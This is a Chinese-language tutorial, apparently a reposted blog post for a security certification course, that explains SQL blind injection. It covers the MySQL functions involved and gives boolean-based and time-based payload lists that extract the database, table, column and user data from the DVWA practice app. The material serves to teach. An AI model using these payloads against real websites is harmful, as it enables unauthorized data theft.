13、SQL注入——SQL盲注

文章目录

  • 一、SQL盲注概述
    • 1.1 盲注
    • 1.2 盲注常用的函数
  • 二、盲注payload
    • 2.1 布尔盲注
    • 2.2 时间盲注

一、SQL盲注概述

1.1 盲注

  • 在SQL注入过程中,SQL语句执行后,选择的数据不能回显到前端页面,此时还需要利用一些方法进行判断或尝试,这个过程称之为盲注。
  • 在盲注中,攻击者根据其返回页面的不同来判断信息(可能时页面内容的不同,也可能时响应时间的不同)。一般情况下,盲注可分为两种:
    • 基于布尔的盲注
      某些情况下,页面返回的结果只要两种(正常或者错误)。通过构造SQL判断语句,查看页面的返回结果(True 或False)来判断哪些SQL判断条件成立,通过此来获取数据库中的数据。
    • 基于时间的盲注
      又称延时注入,即使用具有延时功能的函数sleepbenchmark等,通过判断这些函数是否正常执行来判断数据库中的数据。

1.2 盲注常用的函数

  1. 条件语句
    13、SQL注入——SQL盲注_第1张图片
    if()为例

    • 功能:条件判断
    • 语法格式:if(expr1, expr2, expr3): expr1为true则返回expr2,expr1为false则返回expr3。
    • 注:仅Mysql支持if(expr1, expr2, expr3)。
  2. left()

    • 功能:截取具有指定长度的字符串的左边部分。
    • 语法格式:left(str,length),如果str或length参数为NULL时,则返回NULL。
    • 参数说明
      • str:要提取字串的字符串;
      • length:正整数,指定将从左边返回的字符数。length为0或负,则left函数返回一个空字符串;length大于str字符串的长度,则left函数返回整个str字符串。

    13、SQL注入——SQL盲注_第2张图片

  3. length()

    • 功能:返回字符串的长度,以字节为单位。
    • 语法格式:length(str)

    13、SQL注入——SQL盲注_第3张图片

  4. substr()、substring()

    • 功能:从指定位置开始,截取字符串指定长度的字串。
    • 语法格式:substr(str, pos)substr(str, pos, len)substring(str, pos)substring(str, pos, len)
    • 参数说明:
      • str:要提取字串的字符串
      • pos:提取字串的开始位置
      • len:指定要提取的字串的长度

13、SQL注入——SQL盲注_第4张图片
5. ascii()、ord()

  • 功能:返回字符串最左边字符的ASCII码值。
  • 语法格式:ascii(str),ord(str)

13、SQL注入——SQL盲注_第5张图片
6. sleep()
- 功能:让语句延迟执行一段时间,执行成功后返回0.
- 语法格式:sleep(N),即延迟执行N秒。

  1. 延时函数benchmark()
    • 功能:让某语句执行一定的次数,执行成功后返回0。
    • 语法格式:benchmark(count,expr),即让expr执行count次。
    • 注:仅Mysql支持该函数。

13、SQL注入——SQL盲注_第6张图片

二、盲注payload

2.1 布尔盲注

	id=1' # //报错,说明有注入点
	id=1 and 1=1 # //正确
	id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入
	
	id=1 and length(database())=1 # //判断数据库名长度
	id=1 and ascii(substr(database(),1,1))=98 # //猜数据库名
	id=1 and (select count(table_name) from information_schema.tables where table_schema=database())=1 # // 猜表的个数
	id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103 # // 猜第一个表名的长度
	id=1 and (select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # // 猜user表中的字段个数
	id=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7 # //猜user表中第一个字段的长度
	id=1 and ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117 # //猜user表中第一个字段的第一个字母
	id=1 and length((select user from dvwa.users limit 0,1))=5 # // 猜user表中user字段内容的长度
	id=1 and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 # //猜user表中中user字段值的首字母

2.2 时间盲注

	id=1 and sleep(5) # //数字型则等待5秒
	id=1' and sleep(5) # //字符型则等待5秒
	id=1 and if(length(database())=4,sleep(5),1) # //猜数据库名长度
	id=1 and if(ascii((substr(database(),1,1)))=100,sleep(5),1) # //猜数据库名
	id=1 and if(select count(table_name) from information_schema.tables where table_schema=database(),sleep(5),1)=1 # // 猜表的个数
	id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103,sleep(5),1) # // 猜第一个表名的长度
	id=1 and if((select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8,sleep(5),1) # // 猜user表中的字段个数
	id=1 and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7,sleep(5),1) # //猜user表中第一个字段的长度
	id=1 and if(ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117,sleep(5),1) # //猜user表中第一个字段的第一个字母
	id=1 and if(length((select user from dvwa.users limit 0,1))=5,sleep(5),1) # // 猜user表中user字段内容的长度
	id=1 and if(ascii(substr((select user from dvwa.users limit 0,1),1,1))=97,sleep(5),1) # //猜user表中中user字段值的首字母

你可能感兴趣的:(深信服SCSA-S认证,sql,数据库)